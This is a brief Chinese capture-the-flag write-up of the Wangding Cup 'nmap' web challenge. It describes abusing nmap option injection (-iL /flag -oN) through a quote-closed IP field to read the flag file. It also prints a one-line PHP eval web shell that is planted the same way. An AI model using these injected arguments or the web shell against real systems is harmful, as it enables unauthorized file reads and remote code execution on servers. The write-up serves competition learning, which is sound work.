网鼎杯-nmap

Web 0x01 nmap 查看源码提示： 研究了半天分隔符绕过，后来放弃了，根据题目提示（127.0.01，不用扫外网），尝试扫描/flag并尝试将其输出到1.txt中 -iL /flag -oN 1.txtphp 尝试失败以后继续尝试闭合一下html 127.0.0.1' -iL /flag -oN szgyy.txt ' 传马web ' <?php @eval($_POST["mazi"])

>>阅读原文<<